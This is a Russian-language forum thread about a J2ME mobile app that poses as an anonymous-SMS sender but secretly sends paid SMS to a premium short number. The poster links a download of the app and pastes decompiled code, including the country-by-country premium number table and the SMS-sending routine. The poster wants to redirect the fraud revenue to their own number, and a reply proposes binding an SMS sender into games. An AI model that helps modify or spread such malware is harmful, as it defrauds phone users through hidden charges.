есть приложение isms (1252263934_sms_anonim.rar) скачать можно по ссылке : http://www.sendspace.com/file/tu5b3c оно якобы предлагает отослать анонимную смс другу,или подруге от любого номера. на самом же деле шлет платную смс 9016 на номер 8355 PHP: Message From sms://8355 9016 декодировав классы видим что с.class содержит следующее значение PHP: c(Main main) { super(p); S = "8355"; T = "isms"; U = "iSMS"; aa = ""; ab = ""; ac = ""; am = null; an = null; ao = null; ap = null; N = main; M = main.a("/ops"); R = new String[7]; R[0] = a(0x12e598f, 1); R[1] = a(0x12e76ca, 1); R[2] = a(0x12e62cd, 1); R[3] = a(0x12e684c, 1); R[4] = a(0x12e7d9a, 1); R[5] = a(0x12e7e0c, 1); R[6] = a(0x12e7f74, 1); S = R[0]; PHP: T = String.valueOf(l2) + "6"; ap = "ru,8355,3;ua,7137,1.6;kz,4449,3;kg,4449,3;by,4449,2.3;ge,4449,4.2;tj,4449,3;am,4449,1000;az,4448,0.8;ee,1206,3;lv,1824,3;lt,1624,3;il,4070,4.2;"; V = new Hashtable(); W = new Hashtable(); сменив эти значение на свои прогой JavaByte мы получаем что приложение будет слать смс на ваш номер и ваш текст .... но не тут то было... приложение до сих пор шлет смс с текстом 9016 на номер 8355 декодирова все классы я не нашел там никаких упоминаний насчет данной пары 9016/8355 так вот что за чудеса? может кто разбираться в JAVA и подскажет откуда приложение генерирует эту пару номер текст (9016/8355)
процесс генерации смс параметров PHP: { P = "sms://" + am; System.out.println(P + " " + Q); MessageConnection messageconnection; TextMessage textmessage; (textmessage = (TextMessage)(messageconnection = (MessageConnection)Connector.open(P)).newMessage("text")).setPayloadText(Q); messageconnection.send(textmessage); messageconnection.close(); }
чё за JavaByte? у меня есть прога SMS Send там в MANIFEST.MF настраивается всё может можно её с играми и джимом склеить но я хз